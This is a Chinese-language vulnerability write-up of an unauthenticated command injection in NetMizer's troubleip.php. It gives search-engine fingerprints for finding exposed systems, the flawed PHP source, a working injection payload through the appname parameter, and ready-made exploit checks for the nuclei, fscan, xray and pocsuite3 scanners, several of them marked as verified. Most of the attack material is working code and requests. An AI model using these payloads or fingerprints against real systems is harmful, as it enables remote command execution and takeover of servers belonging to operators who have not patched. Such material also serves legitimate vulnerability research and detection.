一、NetMizer简介
NetMizer日志管理系统是由北京灵州网络技术有限公司开发的网络流量分析与运维工具,专为运营商、数据中心及企业网络设计,主要用于采集、存储和分析网络设备及应用的日志数据。该系统通过实时监控设备运行状态(如CPU、内存、接口流量等)和网络会话日志,提供精细化的流量管理功能,包括按应用协议、主机/IP地址、时间范围等维度统计流量排名,并支持图表化展示与故障告警。其核心模块涵盖异常流量检测(如DDoS攻击)、分区流量分析(如高校或AP分组统计)以及带宽使用优化,同时内置API接口便于与外部系统集成。系统还具备高可用性设计,例如通过光路保护器(NB-104F)实现故障自动旁路切换,并支持外置BYPASS功能保障网络稳定性。然而,该系统曾曝出目录遍历、SQL注入和远程代码执行等安全漏洞,需注意及时升级至官方修复版本以防范风险。
二、指纹
title="NetMizer 日志管理系统"
body="日志管理系统" && body="NetMizer"
三、漏洞描述
NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/search/troubleip.php
文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令,写入后门程序,获取服务器权限,进而控制整个Web服务器。
四、漏洞原理
troubleip.php 业务实现关键逻辑部分:
else if($action == 'showtask'){
if($csv) $arr_proto = getcontentdesc(0);
else $arr_proto = getcontentdesc();
$curid = $page;
$linenum = $limit;
$cmd_root = "/var/www/cgi-bin/$appname";
$cmd = $cmd_root." -i ".intval($id)." -p ";
chdir("/var/www/html/");
$fp=@popen($cmd, "r");
$line=fgets($fp,2048);
if(substr($line, 0, 5)=="Error") {
@pclose($fp);
return $line;
}
当 $action == 'showtask'
时,$appname
直接拼接在 $cmd_root
> $cmd
中带入 popen
执行,造成命令注入漏洞。
$search_root = "/var/www/$path";
......
$cmd_root = "/var/www/cgi-bin/$appname";
......
$filename = $search_root."/".$now.".cfg";
$fp = fopen($filename, "w");
if($fp) {
fputs($fp, $str);
fclose($fp);
chdir("/var/www/cgi-bin/");
$cmd = $cmd_root." -i $now > /dev/null &";
//$cmd = $cmd_root." -t -v -i $now > /tmp/aa1.txt &";
@exec($cmd);
}
echo '{"success":true}';
同样的当 $action == 'addtask'
时,$appname
也是直接拼接进命令执行字符串中用 exec 来执行最终的命令,造成命令注入漏洞。
五、漏洞复现
- payload
GET /data/search/troubleip.php?action=showtask&appname=search;id+%23+&id=1 HTTP/1.1
Host: 127.0.0.1
成功执行命令。
六、POC编写
6.1 nuclei-POC
id: netmizer-troubleip-rce
info:
name: netmizer-troubleip-rce
author: sixiaokai
severity: critical
description: |
netmizer-troubleip-rce
http:
- raw:
- |
GET /data/search/troubleip.php?action=showtask&appname=search;id+%23+&id=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "uid="
- "gid="
part: body
验证:
6.2 fscan-POC
{
"poc_id": "netmizer-troubleip-rce",
"type": "http",
"description": "NetMizer TroubleIP RCE via command injection in appname parameter",
"requests": [
{
"method": "GET",
"path": "/data/search/troubleip.php",
"parameters": {
"action": "showtask",
"appname": "search;id # ",
"id": "1"
},
"headers": {
"Host": "{{Host}}"
},
"follow_redirects": true
}
],
"matchers": {
"status": [200],
"body": ["uid=", "gid="],
"require_all": true
}
}
未验证。
6.3 xray-poc
name: poc-yaml-netmizer-troubleip-rce
transport: http
rules:
- method: GET
path: "/data/search/troubleip.php?action=showtask&appname=search;id+%23+&id=1"
headers:
Host: "{{Host}}"
expression: |
response.status == 200 &&
response.body.bcontains(b"uid=") &&
response.body.bcontains(b"gid=")
detail:
author: sixiaokai
severity: critical
description: NetMizer流量管理设备 /data/search/troubleip.php 存在命令注入漏洞,攻击者可通过appname参数执行任意命令
验证成功。
6.4 pocsuite3-poc
from urllib.parse import urlparse # 新增解析模块
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.core.poc import Output, POCBase
from pocsuite3.lib.core.register import register_poc
from pocsuite3.lib.request import requests
class NetMizerTroubleIp(POCBase):
vulID = 'huatai-sixiaokai-13'
version = '1.0'
author = 'sixiaokai'
vulDate = '2025-04-22'
createDate = '2025-05-28'
updateDate = '2025-05-28'
references = ['https://mrxn.net/jswz/netmizer-search-troubleip-appname-rce.html']
name = 'NetMizer troubleip.php 命令注入漏洞'
appPowerLink = 'https://www.crunchbase.com/organization/netmizer'
appName = 'NetMizer'
appVersion = '具体版本未公开'
cyberspace = {'fofa': 'title="NetMizer 日志管理系统"'}
vulType = 'RCE'
desc = '''
NetMizer流量管理设备/data/search/troubleip.php文件存在命令注入漏洞,攻击者可通过appname参数执行任意系统命令
'''
samples = ['']
def _verify(self):
result = {}
cmd = "id"
payload = f"search;{cmd} # "
params = {
"action": "showtask",
"appname": payload,
"id": "1"
}
# 修正hostname获取方式
try:
parsed_url = urlparse(self.url)
hostname = parsed_url.hostname
except Exception as e:
logger.error(f"URL解析失败: {str(e)}")
return self.parse_output(result)
headers = {
"Host": hostname, # 使用正确解析的hostname
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
try:
url = parsed_url._replace(path="/data/search/troubleip.php").geturl()
print("url:",url)
resp = requests.get(
url,
params=params,
headers=headers,
verify=False,
timeout=10
)
print("resp.text:",resp.text)
if resp.status_code == 200 and all(k in resp.text for k in ("uid=", "gid=")):
result['VerifyInfo'] = {
'URL': url,
'Payload': params,
'Response': resp.text[:200]
}
except Exception as e:
logger.error(str(e))
return self.parse_output(result)
# parse_output 方法保持不变
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('目标未发现漏洞')
return output
def _attack(self):
return self._verify()
register_poc(NetMizerTroubleIp)
验证成功:
七、POC贡献
待审核。